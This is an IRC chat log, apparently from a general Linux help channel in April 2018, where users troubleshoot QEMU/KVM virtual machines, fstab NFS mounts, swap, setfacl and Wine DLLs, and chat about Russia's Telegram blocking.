--- Log opened Thu Apr 19 00:00:14 2018
--- Day changed Thu Apr 19 2018
00:00 < snugger> So about to make the move to Fedora (More specifically Fedora 27 Cinnamon)
00:00 < wonderer> ok thx meyou_
00:01 < kazdax> i am working on making a virtual machine using qemu
00:01 < kazdax> i setup the img file with qemu-img
00:01 < kazdax> then it says to type in qemu
00:01 < kazdax> but qhen i type qemu
00:01 < kazdax> it says command not found
00:01 < kazdax> $ qemu -hda debian.img -cdrom debian-testing-i386-businesscard.iso -boot d -m 256
00:01 < kazdax> do i need to install something else ?
00:02 < kazdax> i installed qemu
00:02 < Slimmy> How to filter a text file to only print its 2nd and 3rd character per line? its already sorted in lines
00:02 < wonderer> looks like that worked meyou_
00:02 < wonderer> thx v.much :)
00:03 < kazdax> okay maybe qemu-x86_64 is the right one in this case
00:03 < kazdax> the debian docs arnt really current i think
00:03 < kazdax> right ?
00:05 < xamithan> No idea I use virt-manager for that unless I am scripting it
00:07 < kazdax> is there a graphical for QEMU?
00:08 < kazdax> aqemu
00:08 < kazdax> found it
00:08 < xamithan> You really want to be using qemu|kvm
00:08 < xamithan> It is much faster than plain qemu
00:08 < kazdax> i thought kvm was installed already
00:08 < kazdax> hold on let me check
00:09 < wonderer> how do i make an nfs permanent on my /etc/fstab tab?
00:10 < xamithan> The same way you mounted it just in a different syntax wonderer
00:10 < xamithan> server:/path/to/share   /mount/location  nfs   options,here 0 0
00:11 < wonderer> i wasnt sure on the options
00:11 < wonderer> ty xamindar
00:11 < xamithan> You can use just "defaults" if it doesn't need a password or anything
00:12 < twainwek> god damn it guys no one answered slimmy and he left. lost another customer
00:13 < xamithan> Sorry I didn't know,  that is more of a #bash question
00:25 < Frith> A while ago I was working on making a simple appliance for internal use, and I needed only one binary to run.  I ended up just running it as the one thing from the init daemon, but I had hoped to find a "Write a system that only runs this"-type of program.  Does that exist yet?
00:27 < Psi-Jack> xamithan: kvm is already merged back into we must.
00:27 < Psi-Jack> Qemu
00:28 < kazdax> is modprobe kvm command suppose to work
00:28 < kazdax> if its not working ion my system
00:28 < kazdax> what does that mean
00:29 < Psi-Jack> kazdax: you might prefer the more elegant qemu solution. Libvirtd, virt-manager, virt-viewer.
00:29 < kazdax> ahh
00:29 < kazdax> i think my virtualization is disabled in my bois
00:29 < kazdax> i need to look at that first
00:29 < Psi-Jack> kazdax: likely that kvm support is compiled in not as a kernel module
00:30 < kazdax> okay i am installing virt-manager
00:30 < kazdax> if that dosnt work ..ill check my bois to see if virtulization is disabled
00:31 < Psi-Jack> You need all three.
00:31 < kazdax> oh
00:31 < kazdax> i figured if i wanted to be an uber hacker..then learning the ins and out of my operating system
00:32 < kazdax> specially a linux would be a good way to go about it
00:32 < ayecee> gotta start somewhere, i guess
00:32 < kazdax> still stuck at runnign the qemu tho
00:32 < kazdax> yea
00:32 < kazdax> i thought programming was the start but system admin is  a better more easier option imho
00:32 < ayecee> it's all a rich tapestry
00:32 < snugger> A systemd admin is like riding a bike
00:32 < snugger> system*
00:33 < snugger> But the bike is on fire
00:33 < xamithan> riding a bike?
00:33 < snugger> and the road is on fire
00:33 < snugger> and you're on fire
00:33 < snugger> and you're heading towards a dead end
00:33 < snugger> In hell
00:33 < xamithan> So you stop, drop, and roll.  Climb on a new bike and take the shortcut to the left
00:34 < Frith> Oh, you sysadmins are all drama llamas.
00:34 < oerheks> uber hacker on a bike ..
00:35 < ayecee> i dunno, it's kinda fun. you get to decide the rules.
00:35 < ayecee> ideally
00:36 < ayecee> could get trapped in one of those positions where you have to keep up with the unreasonable demands of naive management.
00:36 < kazdax> horaay
00:36 < kazdax> virt-manager working
00:36 < kazdax> aqemu
00:36 < kazdax> not
00:40 < kazdax> this is cool
00:41 < kazdax> i learnt to mov a file from my falsh drive to my folder
00:41 < kazdax> learnt to create a vm
00:41 < kazdax> and got alot of links for studying .. okay i am going to go take some rest .. if i have any questions
00:41 < kazdax> i will sure to refer back here ..thanks alot
00:51 < Psilocyber> hey fam, this might be a silly question, but do the Ubuntu LTS versions use different drivers or should a LTS and "regular" release share the same drivers?
00:54 < Psilocyber> one of my devices states in the manual that you need to use LTS version of ubuntu, and im wondering why that is
00:54 < xamithan> It depends on the driver really
00:54 < koala_man> Psilocyber: does it say "any LTS version" or "14.04 LTS"?
00:54 < xamithan> You should always use the version for your specific release if available
00:55 < Frith> Psilocyber: Probably so that they aren't answering support questions about random versions.
00:55 < Psilocyber> xhci driver specifically
00:55 < Psilocyber> it lists kernel versions but then says LTS version only
00:55 < Psilocyber> range of kernel versions...
00:56 < koala_man> weird
00:56 < Psilocyber> this is the beast - https://www.startech.com/media/products/PEXUSB3S44V/PDFs/PEXUSB3S44V_Datasheet.pdf
00:57 < koala_man> does it mention Ubuntu at all?
00:58 < Psilocyber> Well, no, it says Linux 2.6.31 to 4.11.x
00:58 < Psilocyber> LTS versions only
00:59 < koala_man> surely that's Linux LTS and not related to Ubuntu
00:59 < kazdax> my virtual machine crashes in virt-managre
00:59 < kazdax> aftre a while
00:59 < kazdax> it runs smooth for a while but then crashes
00:59 < xamithan> Maybe they just mean an LTS kernel
00:59 < kazdax> its not paused or anything
00:59 < kazdax> its just stuck
00:59 < oerheks> xenial comes with 4.4, the oldest supported ubuntu
01:00 < xamithan> 14.04 is supported though?..
01:00 < xamithan> Oh you mean the kernel
01:00 < Psilocyber> ok, my bad, I did not realize that was speaking of generic LTS kernel, I hear LTS and think ubuntu unfortunately
01:01 < oerheks> that -to 4.1 is so odd ..
01:02 < koala_man> typical CYA. that was the latest version when they released the product so it's the latest one they'll guarantee compatibility with
01:03 < Psilocyber> koala_man: yeah that makes sense
01:05 < koala_man> I imagine that any kernel after 2.6.31 is fine, and they just don't want to have to support a hundred different releases
01:06 < Psilocyber> the funny thing is, that it works for booting so BIOS obviously can work with it just doesnt work once the OS is loaded.
01:06 < snugger> Opinions: Do you think Wayland is stable enough to be shipped by default on all distros?
01:06 < Psi-Jack> snugger: Wayland itself might be, but drivers aren't for various vendors, software may not yet be designed for Wayland yet. So. No.
01:07 < snugger> Psi-Jack: My thoughts exactly
01:07 < oerheks> nvidia is making progress ..
01:07 < Psi-Jack> Fedora's using Wayland for the GDM login, but switches to Xorg upon login. You CAN try Gnome out fully in Wayland though, and see that it's just not quite ready for prime time entirely, yet.
01:07 < ntd> volta consumer hit the streets yet?
01:08 < Psi-Jack> Meanwhile, Russia is trying to block Telegram by blocking 16 million IPs.
01:08 < Sveta> good morning
01:08 < Psilocyber> we are shipping titan v systems here
01:08 < snugger> Whoa, a new version of Trisquel was released
01:08 < Psilocyber> researchers gobble them up
01:08 < snugger> that's huge news in my book
01:08 < Truxx> 16 million? How that many?
01:09 < snugger> https://trisquel.info/en/trisquel-80-lts-flidas
01:09 < Psi-Jack> Truxx: They blocked all IP blocks of Amazon & Google Cloud. heh
01:10 < ntd> amazon too?
01:10 < Psi-Jack> Yeah. heh
01:10 < Truxx> @Psi-Jack Oh, in that case there was much collateral damage - not only Telegram services I guess...
01:10 < Psi-Jack> Causing a huge uproar, and financial losses of even businesses in Russia due to such things.
01:10 < revel> Good old Roskomnadzor.
01:10 < ntd> last i heard, only goog. but that may have been goog no longer doing domain fronting
01:11 < Psi-Jack> ntd: Yeah. They're "unblocking" by individual basis... I facepalmed.
01:11 < Psilocyber> theres a good "in russia....." joke there somewhere
01:12 < Psi-Jack> It's just about time for them to disconnect from the internet and form their own rinternet.
01:12 < Psi-Jack> heh
01:12 < Frith> I would think it's mainly businesses in Russia that are impacted.
01:12 < ntd> do they block cludflare as well?
01:12 < Psi-Jack> ntd: That I don't know.
01:12 < Psi-Jack> Frith: And citizens. :)
01:12 < Psi-Jack> Heck, and foreigners visiting.
01:13 < Truxx> @Psi-Jack I almost said that businesses should not be affected as they could use VPNs, but then I realised VPNs are prohibited in Russia :/
01:13 < Psi-Jack> Heh, exactly.
01:13 < Truxx> What a mess
01:13 < Psilocyber> VPN thing is fairly recent, i remember because PIA issued a notice
01:14 < Psilocyber> dont remember who said it, but someone said that if unscrupulous people are not using your communication system (terrorists/drug dealers/pedos) then it obviously isn't secure....
01:14 < Frith> Psi-Jack: I didn't think you could order Vodka from Amazon, so I'm not sure how much impact there would really be. ;)
01:14 < Psi-Jack> Psilocyber: PIA?
01:14 < Psilocyber> sorry, private internet access
01:14 < Psi-Jack> Gotcha.
01:17 < Truxx> PIA is great, they saved Linux Journal if I remember correctly... They do many good things for the open source world...
01:17 < Psilocyber> they are also the only VPN provider to have their 'no logs' claim tested in court
01:18  * Psi-Jack shrugs.
01:18 < Psilocyber> FBI subpeonead their logs for some case and they said 'sorry, when we said no logs we meant it'
01:18 < Psi-Jack> I care nothing for 3rd-party "private internet" VPN providers. VPNs are for bridging two networks securely.
01:20 < Psilocyber> That is fair.
01:20 < Aph3x-WL> Psilocyber: for all we know that could have been staged to get people to use PIA ;)
01:20 < Truxx> @Psilocyber Good to read that about pia... some vpns betrayed customers before. I wonder: Is it a risk to install an old python tool that has not been updated for two years?
01:21 < Psilocyber> Aph3x-WL: im all for a good conspiracy, but that is a bit far for me even :P
01:21 < Truxx> At least cli-companion's last release was 2016
01:21 < Aph3x-WL> Psilocyber: it wouldn't be the first time in history that something like that has been done :P
01:22 < Psilocyber> yeah I'd say you are right about that
01:22 < toothe> Isn't there a command to log your terminal output?
01:23 < toothe> ie, what you type in and what you get back?
01:24 < ayecee> might be thinking of the script command, which records what you type but not what you get back
01:24 < oerheks> history | grep <something>
01:24 < koala_man> 'script' does log responses
01:24 < ayecee> ah, i stand corrected
01:25 < Psi-Jack> Yeah, script does all that is displayed. :)
01:25 < ayecee> well then, i was accidentally right!
01:26 < Psi-Jack> hehe
01:26 < Truxx> Good to know about script... I only knew about that tool that records terminal sessions
01:28 < kazdax> how do i kill virt-manager ?
01:28 < ayecee> by surprise. it's watching you.
01:28 < xamithan> kill?
01:29 < kazdax> the process for it ...it seems to get my virtual machien stuck
01:29 < kazdax> i dont know if its kvm doing that or its virt-mananger
01:29 < kazdax> what ever the case it is ..my vm gets stuck
01:29 < kazdax> soi am trying to killt he process and spawn it back up again
01:29 < kazdax> and see if the problem persists or not
01:29 < xamithan> You could restart libvirtd
01:30 < xamithan> virt-manager is just a gui,  even if you close it the VMs still run
01:30 < kazdax> libvirtd is the process name ?
01:30 < kazdax> the daemon thats running ?
01:31 < kazdax> should i not just killl kvm ..since thats the main process thats doing all the stuff
01:31 < toothe> yes, the script command!
01:32 < ayecee> \o/
01:33 < kazdax> seems like i dont have libvirt
01:33 < stevendale> Hey kaza
01:33 < stevendale> kazdax
01:33 < ayecee> maybe you need the d
01:34 < kazdax> let me see if i can find a way to install it
01:34 < ayecee> uh.
01:35 < kazdax> ohh okay
01:35 < kazdax> i understand now
01:35 < ayecee> if it's not installed, then installing it and restarting it won't help.
01:35 < kazdax> libvirtd-daeomon ?
01:35 < xamithan> does it show up when you do systemctl status libvirtd ?
01:35 < kazdax> yes it does
01:36 < xamithan> Then just change status to restart
01:37 < kazdax> okay let me test if the restart helped fixed the problem
01:37 < redhatshekels> Do you guys think the yum package manager has a future?
01:37 < kazdax> i need to read up on this stuff
01:38 < xamithan> considering they already replaced it with dnf,  no
01:38 < redhatshekels> yum isn't developed by dnf
01:38 < redhatshekels> It's its own project
01:38 < compdoc> Oracle Enterprise Linux 7.5 Debuts with Unbreakable Enterprise Kernel Release 4, based on RH 7.5
01:38 < xamithan> It is but it is a replacement,  unless oracle or suse picks up yum it'll be gone
01:38 < Sveta> redhatshekels, yum is foss, i'm pretty sure there are or will be a few distributions that prefer it over dnf
01:39 < Emmanuel_Chanel> hi
01:40 < stevendale> o/
01:40 < stevendale> Heya Emmanuel_Chanel
01:44 < kazdax> okay my virtual machine got stuck again
01:44 < kazdax> :(
01:44 < stevendale> o/
01:44 < xamithan> how is it stuck
01:45 < stevendale> Okay AIDA64 Extreme says my Intel GM45 Graphics Processor Chipset is running at 533 MHz
01:45 < kazdax> its just stuck...the cursor isnt blinking anymore
01:45 < kazdax> its on in the GUI with terminal opened and the mouse dosnt move
01:45 < redhatshekels> Seems like Rust is more and more becoming a favorite for system programming in Linux. What are your thoughts on this?
01:46 < xamithan> Maybe you using a bad ISO or need some drivers
01:46 < xamithan> check the logs on it
01:47 < kazdax> maybe its a bad iso ..let me get the other one
01:47 < kazdax> check logs of virt-manager ?
01:48 < jml2> "the cursor isnt blinking anymore"  tehehe
01:48 < jml2> :)
01:49  * jml2 chews on some more popcorn
01:50 < stevendale> o/ my Intel GPU is 10 years old o3o
01:52 < xamithan> No the logs inside the VM itself,  although I guess you can't if it is frozen
01:54 < sirwilliam> Hilo all, does anyone know how to get in touch with someone from freenode? I was trying out IRC commands as I'm pretty new to it and I think it resulted in me getting banned.
01:54 < jml2> ^ :)
01:55 < sirwilliam> I usually hangout in ##chat, but now it takes me to arguments.
01:55 < jml2> LOL
01:55 < xamithan> Have you tried #freenode ?
01:55 < sirwilliam> LOL.
01:55 < jml2> hahaha sucker XD
01:55 < sirwilliam> No but good thanks, I'll jump over there.
01:55 < dell00> stevendale: o/ my AMD GPU is 12 years old o_o
01:56 < Sveta> sirwilliam: one good way is running '/stats p' several times a day until it starts listing someone's nick, then this nick may be queried with any questions
01:56 < stevendale> dell00 Intel GMA 4500MHD here, equivalent to an NVIDIA GeForce 9400M or AMD Radeon HD 3200
01:58 < Truxx> Something is missing on my xfce4 setup as firefox does not show a scrollbar (nor the "highlight" line on the menu after a right-click), but I have no clue which package that might be... maybe something with theme or gtk.
02:02 < stevendale> I wonder if my little Intel Core 2 Duo P8700 will run Linux well in VMWare Workstation
02:02 < dell00> stevendale: my AMD GPU is integrated into my Turion X2 CPU, so I don't even know what to call it.
02:03 < ozymandias> stevendale, its all down to the ram
02:03 < ozymandias> assuming you have enough for 2+ OSes you are fine
02:04 < jml2> i dont like people who advocate vmware over vbox. that's nasty.
02:04 < ozymandias> vbox works better for most OSS workloards
02:05 < ozymandias> than vmworkstation, at least
02:05 < xamithan> If your core 2 duo will even do vt-d
02:05 < ozymandias> if not, install vbox and use that
02:05 < ozymandias> it will run 32 bit just fine
02:06 < xamithan> by just fine you mean at anywhere from a 10-75% hit on performance
02:06 < ozymandias> not for 32 bit
02:06 < ozymandias> you only need vt-d for 64 bit virtualization
02:07  * stevendale running 32-bit OS
02:07 < jml2> I don't like people who use 32-bit
02:07 < ozymandias> for the guest?
02:07 < ozymandias> or the host
02:08 < ozymandias> it wont work as the host
02:08 < xamithan> Why not both
02:08 < ozymandias> too little ram
02:08 < ozymandias> i supose pae might work, but that will not be pretty
02:08 < stevendale> 4 GB DDR2 in Dual-Channel
02:08 < ozymandias> not enought ram
02:08 < jml2> pae if you have more than 4 gig. otherwise makes no difference
02:08 < afidegnum> i have been tasked to set up Linux System/Server Admin for students. what type of Linux Certification would you recommend?
02:09 < xamithan> afidegnum: What?..
02:09 < ozymandias> none
02:09 < ozymandias> just teach them sysadmin
02:09 < jml2> afidegnum, you're supposed to be a teacher and you're asking for advice here on irc? LOL
02:09  * stevendale is on Windows XP, which is why he is using VMWare
02:09 < afidegnum> i mean the recomended Distro
02:10 < kazdax> hello
02:10 < kazdax> trying another ISO
02:10 < jml2> stevendale, I believe I could tell that.
02:10 < kazdax> see if this one works
02:10 < ozymandias> afidegnum, rhel
02:10 < stevendale> Heya kazdax
02:10 < xamithan> Whatever distro is best for whatever tasks you are doing
02:10 < helladen> Anyone manage to compile GitHub desktop client?
02:10 < kazdax> hey steve
02:10 < stevendale> What's up?
02:10 < kazdax> at my trusty friend xamithan
02:10 < ozymandias> if you are teachign it as a class, teach an enterprise os
02:10 < kazdax> if this dosnt work ..ill just install the OS
02:10 < stevendale> I used three times for a cloak in #freenode last night
02:10 < kazdax> nada much just trying to learn linux
02:10 < afidegnum> ozymandias: why rhel?
02:10 < kazdax> what about you steve
02:10 < jkemppainen> jml2: there's no need for that. a teacher who has the humility to ask questions when they don't know something isn't something to discourage or make fun of
02:10 < stevendale> Nobody got to me
02:10 < ozymandias> afidegnum, if you are teachign it as a class, teach an enterprise os
02:11 < stevendale> kazdax I'm recovering from choking yesterday
02:11 < kazdax> choking ?
02:11 < jml2> jkemppainen, and my guess is you are an expert just like the consensus.
02:11 < jml2> LOL
02:11 < ozymandias> rhel is much more widely used in professional environments
02:11 < ozymandias> so the skills are more directly applicable
02:12 < jml2> afidegnum, CentOS is a distro supported by Redhat, it is the closest thing to RH...  if you want to save money.
02:12 < swift110> hey all
02:12 < jml2> ./closest thing to RHEL distro./
02:12 < ozymandias> jml2, academic licenses are really cheap, but good point
02:12 < afidegnum> why RHEL, not Debian?
02:13 < ozymandias> afidegnum, teach them something employers use
02:13 < ozymandias> businesses want paid support
02:13 < jml2> debian is largely deployed out in the wild, but it doesn't carry the "enterprise" name.. RedHat is driving you with support and you said "certification".
02:13 < jml2> you want "Certification" with Debian? LOL
02:13 < jml2> good luck XD
02:13 < ozymandias> jml2, also many vendors wont touch debian
02:14 < kazdax> i just got the RHEL distro under the developer subscription
02:14 < kazdax> its free
02:14 < kazdax> what did i miss
02:14 < jml2> well its free for 30 days anyways...
02:14 < ozymandias> nada
02:14 < jml2> even without any developer subscription
02:14 < kazdax> so after 30 days ..reinstall i suppose ?
02:15 < applecrumble> Is there a way to change a file's endedness?
02:15 < harris> if i buy a 128 gb flash drive can I do all three of the following at once  1) have a usb installer of ubuntu  2) have a usb installer of windows  3) use it as a normal flashdrive
02:15 < applecrumble> Like from big-endian to little endian
02:15 < jml2> applecrumble,  a file's "endianness" ? what kind of question is that?
02:15 < ozymandias> harris, yes
02:16 < jml2> applecrumble, at least spell what you think you're after correctly
02:16 < ozymandias> applecrumble, change the filesystem it is put on
02:16 < harris> ozymandias: i can do it all on 1 drive at the same time
02:16 < applecrumble> ozymandias: :^) thanks!
02:16 < ozymandias> harris, not concurrently, but yes -- you can format that drive that way
02:16 < ozymandias> obviously you cannot do all three at the same time at once
02:16 < ozymandias> but you can set it up to allow you to do any one of the three at a time
02:17 < harris> how would i do that?
02:17 < harris> 3 partitions?
02:17 < jml2> harris, nobody cares about windows installers.
02:17 < ozymandias> there are multiso tools out there
02:17 < xamithan> I use easy2boot for that,  I'm sure you can do it manually if you want harris
02:17 < kazdax> i used a different ISO but still the same problem
02:17 < jml2> harris, installers are no more than a couple of gig. so 128gb is really a waste.
02:17 < ozymandias> slipstream them together
02:17 < jml2> harris, you can't spare 5 bucks for a 4 gig stick?
02:17 < kazdax> guess ill just try installing it on the system ..instead using live boot
02:18 < tyrese> hi
02:18 < kazdax> or do it on my windows system
02:18 < tyrese> is it possible to find all files created by a certain program? for instance, mspaint
02:18 < ozymandias> no
02:18 < jml2> tyrese, mspaint? wrong channel
02:18 < jml2> tyrese, #microsoft for mspaint young man
02:18 < jml2> LOL
02:18 < jml2> jkemppainen, you have something of an advice for mspaint too?
02:18 < ozymandias> you can find things owned by a user or group, or with a regex filename, though
02:19 < ozymandias> find . -iname \*jpg, for instance
02:19 < jkemppainen> jml2: huh?
02:19 < ozymandias> thats globbing, not regex, though
02:19 < jml2> jkemppainen, yah you, you joker
02:19 < tyrese> jml2: doesn't matter, it's still stored in the file
02:20 < jml2> tyrese, I introduce you to Azure Sphere OS, MS' latest and newest Linux distribution!
02:20 < ozymandias> tyrese, some apps and some formats will store that metadata, and you could therotically script it, but it would not be easy, and would take more details
02:20 < jml2> tyrese, https://www.zdnet.com/article/microsoft-introduces-azure-sphere-for-securing-iot-devices/   :))
02:21 < ozymandias> are you literally looking for mspaint files? or images?
02:21 < harris> jml2: I want to get a dual usb c and usb 3.0 one...
02:22 < jml2> harris, iirc you're new, this is like week two you're into Linux.
02:22 < jml2> harris, just get those cheap Lexar Jump drives, they are widely compatible with a lot of motherboards
02:22 < harris> jml2: I have been using linux for about 7 years
02:23 < jml2> oh yeah, and you're talking about how the possibility of sharing a Windows installer... hmmphm
02:23 < jml2> shame!
02:23 < ozymandias> harris, gee thanks for making me feel old ;-)
02:23 < harris> ozymandias: any time
02:23 < harris> and jml2 i am taking some college classes that require word
02:23 < jml2> only noobs ask such questions...
02:24 < ozymandias> find a better college
02:24 < ozymandias> kik
02:24 < ozymandias> google docs should be sufficient
02:24 < dell00> Why should I use swap space even though I have 16 GB of RAM?
02:24 < ozymandias> dell00, for... swap
02:24 < dell00> But why?
02:24 < dell00> Is it necessary?
02:24 < ozymandias> so you can use more than 16gb of ram
02:24 < jml2> dell00, not really.
02:24 < jml2> dell00, ha!
02:25 < dell00> Ok.
02:25 < meyou^> if you use all your ram without swap oomkiller gone getcha
02:25 < jml2> I have 8gig ram, and I dont ever have a problem disabling swap
02:25 < prussian> so when your memory is exhasted you don't have situations where it's stalling while removing dentries and stuff
02:25 < meyou^> if you have swap it'll just swap to disk without slashing processed left and right
02:25 < dell00> I see..
02:25 < bullgard4>  [Debian unstable] Package: libss2 (Version 1.44.1-2): "command-line interface parsing library. It was originally inspired by the Multics SubSystem library." Do the letters "ss" in the name »libss2« stand for 'SubSystem'?
02:25 < dell00> Thanks.
02:25 < prussian> I'd just put 2GiB of swap for stale crap to go
02:25 < ozymandias> at the very least us 1gb of swap so you can detect memory issues
02:25 < jml2> meyou^, no crash if you open too much, it wont crash the system doofus.  the app will fail to start
02:26 < meyou^> i didn't even use the word crash
02:26 < ozymandias> jml2, or craash if already running
02:26 < meyou^> wtf are you talking about
02:26 < ozymandias> or die if oomkiller gets it
02:26 < jml2> ozymandias, no doofus
02:26 < ozymandias> 'doofus'?
02:26 < meyou^> oh nvm i scrolled up you're just here to troll
02:26 < meyou^> carry on
02:27 < ozymandias> yup
02:27 < ozymandias> he has been trolling and giving bad advice for a while
02:27 < meyou^> nice hobby
02:27 < xamithan> I think his other name is danny_lee
02:27 < ozymandias> to each their own
02:27 < ozymandias> glad I have more in my life than that, personally
02:32 < jml2> meyou^, you must be another mspaint user
02:34 < jml2> bad advice? nah I quack at users who balk on windows things.
02:34 < tyrese> I found, searching by dimension was also a good idea
02:34 < stevendale> Windows isn't that bad
02:34 < jml2> and btw, which is true. MS did come out with a "Linux distribution" ->  https://www.zdnet.com/article/microsoft-introduces-azure-sphere-for-securing-iot-devices
02:35 < tyrese> mspaint is actually great for quick diagrams
02:35  * stevendale uses illustrator & photoshop cs5
02:35 < ayecee> also for drawing in dicks on pictures of your boss
02:36 < robin> I keep getting an error when doing: DEBUG [8b4d004d] Command: /usr/bin/env setfacl -Rn -m u:www-data:rwX -m u::rwX /var/www/farmfes/releases
02:36 < tyrese> ok, it's a good free image editor
02:36 < robin> setfacl: Option -m: Invalid argument near character 3
02:37 < tyrese> gimp's ui makes drawing a circle a total nightmare
02:38 < jml2> tyrese, well there's also "tuxpaint"
02:38 < xamithan> What are you trying to do robin,  that command looks all messed up
02:38 < jml2> tyrese, "Tux Paint is meant to be a simple drawing program for young children."
02:38 < jml2> tyrese, :)
02:39 < tyrese> no shame
02:39 < robin> xamithan: I'm trying to deploy with capistrano which a guy who left the company wrote and this was in there.
02:39 < ayecee> robin: what's the output of "id www-data"
02:39 < robin> ayecee: no such user
02:39 < ayecee> there's the problem
02:40 < robin> Ah, I see thanks!
02:40 < ayecee> :D
02:40 < robin> ;)
02:41 < ayecee> robin: fwiw, www-data started at the 3rd character in -m's arguments
02:41 < ayecee> hopefully a little less cryptic now
02:42 < robin> ayecee: nice, thanks again.
02:47 < swift110> sup ayecee
02:47 < ayecee> o/
02:49 < joepublic> So, what happened to linuxcounter dot whatever?
02:50 < ayecee> cancer
02:50 < joepublic> of the project, or its maintainer?
02:50 < ayecee> idk just making things up
02:51 < joepublic> i'd say that's as good a guess an any so far
02:51 < ayecee> the older the project, the more reasonable that guess is
02:52 < joepublic> I see.
02:53 < stevendale> EasyPeasy?
02:54 < joepublic> yeah I had never heard of that one either.  I doubt it lives up to the name, as well
02:54 < joepublic> their github page shows a little activity 8 months ago
02:55 < joepublic> "their" being linuxcounter's
02:55 < stevendale> EasyPeasy was made to be compatible with Eee PCs, mainly the 701/4G/4G Surf
02:55 < stevendale> Same as Android-x86's roots
02:56 < jml2> easypeasy is no longer maintained iirc like ages ago.
02:56 < stevendale> Yep
02:56 < ayecee> do they still make eee pcs?
02:56 < joepublic> I was looking for some numbers ala bsdstats -- and this looks like exactly that, except dead and rotting
02:56 < stevendale> Better off running Win XP anyway, or one of those shady "lite" versions of Windows 7 that runs in 1 or 2 GB HDD space
02:57 < stevendale> ayecee I don't think so, but plenty on eBay last I checked :)
02:57 < stevendale> I'm thinking about getting one myself to toss Win XP on
02:57 < ayecee> appropriate technology https://en.wikipedia.org/wiki/Appropriate_technology
02:57  * jml2 ignores stevendale "Windows XP" guy  :)
02:58 < stevendale> Haha
02:58 < jml2> ozymandias, unless of course you want to help him chappy.
02:58 < joepublic> "Appropriate Technology" puts a whole new spin on "This is why we can't have nice things" ("We don't want them")
02:59 < stevendale> If I needed help with XP I'd ask in ##windows-legacy or ##dos
02:59 < ayecee> ("We're not there on the tech tree")
03:04 < dogbert2> 17:58:43 up 4 days, 3 min,  1 user,  load average: 0.00, 0.00, 0.00 (lol)
03:05 < stevendale> OwO
03:05  * stevendale opens AIDA64
03:06 < stevendale> UpTime	7014 sec (0 days, 1 hours, 56 min, 54 sec)
03:06 < joepublic> I had an ARM board (a NanoPC T3) here I didn't mess with for over a year once; when I checked it, it had something like 400 days of uptime.
03:06 < jml2> dogbert2, beat ya   21:06:19 up 9 days, 21:03,  2 users,  load average: 0.30, 0.12, 0.10
03:07 < well_laid_lawn> 11:08:32 up 41 days,  6:49,  1 user,  load average: 0.01, 0.33, 0.55
03:09 < stevendale> Reboots are healthy for your computer
03:10 < joepublic> Nah, that's a myth
03:10 < xamithan> Only if you run windows
03:10 < dogbert2> what kind of linux box is yours, jml2 :)
03:10 < joepublic> if you run Windows, the reboots are healthy for your OS, sure, but for the computer?
03:12 < Voop> anyone know what do do about DLL missing errors in wine
03:12 < ozymandias> add them?
03:12 < joepublic> most solutions boil down to "provide the DLLs"
03:12 < jml2> dogbert2, just a debian workstation
03:13 < Voop> yeah but where do you get them. dll download sites are viruses
03:13 < ozymandias> a windows install
03:13 < ozymandias> at least if you want them legally
03:13 < ozymandias> that is why they are not part of wine
03:13 < joepublic> if the software runs in reactos or another windowslike OS such as windows, install it there and copy the DLLs over.
03:13 < Voop> i dont care about legally. but how am i supposed to install windows into wine
03:13 < ozymandias> you dont
03:13 < ozymandias> you copy the dlls from a windows install
03:13 < ayecee> we only do legal here, sorry
03:13 < joepublic> I assure no one cares how you do it if your goal is to "install windows into wine"
03:14 < jml2> joepublic, I'd tell them to go to #microsoft :)
03:14 < dogbert2> here is my system: http://98.160.179.12:8080/libre.html
03:14 < xamithan> More like head over to #winehq
03:14 < Voop> ok so just copy every DLL from a windows machine into the c drive of wine?
03:14 < jml2> ozymandias, you're a DLL idiot.
03:14 < Voop> sounds like a pain in the ass, but ok
03:14 < ozymandias> Voop, a sane person would just do the ones wine needs
03:14 < stevendale> Damn
03:15 < stevendale> I am turning off AutoPlay
03:15 < Voop> im going to go download a mass amount of illegal DLLs now
03:15 < Voop> see you guys later
03:15 < ozymandias> have fun
03:15 < stevendale> Have fun getting viruses
03:16 < Voop> please dont call the united nations on me for illegally obtaining the dlls
03:16 < ayecee> no promises
03:16 < ozymandias> no worries
03:16 < joepublic> There is an illegal DLL syndicate on every network junction these days
03:16 < ozymandias> joepublic, i saw two getting in a fight down the street last weekend
03:17 < ozymandias> took the national guard to get it under control
03:20 < oplevunus> After some uptime, my wan interface gets very slow, but after a ifdown and ifup, it gets back to normal speeds
03:20 < oplevunus> time to set up some hackish cron job
03:20 < joepublic> Someday I plan to write a series of articles called "Never Do This" about my hackish workarounds
03:21 < kazdax> so
03:21 < kazdax> i realised something important
03:22 < kazdax> i always thought i was a hacker because some kid called me a hacker
03:22 < kazdax> and then i looked it up online and i was like thats what i am
03:22 < joepublic> that cp and rsync don't copy all the files when you specify "*"?
03:22 < kazdax> then i realised after spending many many years trying to be a computer hacker in the sense of breaking security
03:22 < kazdax> that actually i just wanted the computer to do cool stuff
03:22 < kazdax> breaking stuff isnt bad in its off its self
03:23 < kazdax> but computers arnt just used for breaking code
03:23 < kazdax> there is so much you can do with em
03:23 < kazdax> i think ill focus on learning on how the operating system operates and what it can be used for ...
03:23 < joepublic> are you pasting from the novelization of the film "War Games", or is this just exposition?
03:24 < kazdax> sorry english isnt my first language
03:24 < kazdax> exposition meaning ?
03:24 < joepublic> your english is very good.  exposition meaning "making it up as you go along"
03:24 < dogbert2> heh...man, Eddie Holman (Hey There Lonely Girl) <1970>...can really belt out da tunes
03:25 < kazdax> i mean people pigeon holed me into some place
03:25 < ayecee> kazdax: he's saying that what you're saying looks like a narrative and not conversation
03:25 < kazdax> sorry
03:25 < kazdax> if its a bad thing
03:25 < kazdax> i just thought i would share this
03:25 < joepublic> ayecee, not really, just that it could go either way and come context cues would help.
03:26 < ayecee> lies
03:26 < xamithan> What do people who use linux eat
03:26 < joepublic> kazdax, HeT, not a bad thing
03:26 < ayecee> doritos and mountain dew
03:26 < joepublic> that's true, doritos and mountain dew.
03:26 < kazdax> so i find new found ethuasim out of the dark
03:27 < joepublic> that's actually pretty awesome kazdax.
03:27 < kazdax> to do more than just wanting to prove myself to others that i can be a bad ass black hat hacker
03:27 < kazdax> yea
03:27 < kazdax> its a realisation in the night ..which is odd
03:27 < joepublic> I tend to worry more about others proving themselves to me, than me proving myself to others.
03:28 < ayecee> lies
03:28 < kazdax> the problem in my socity is that brahminsa re the ones that tell you what you should be
03:28 < kazdax> sorry maybe not the topic for this froom
03:28 < kazdax> i diggress
03:28 < ayecee> sure isn't
03:28 < kazdax> so what do you guys use linux for ?
03:29 < joepublic> well, many people here are interested in learning what their operating system can do.
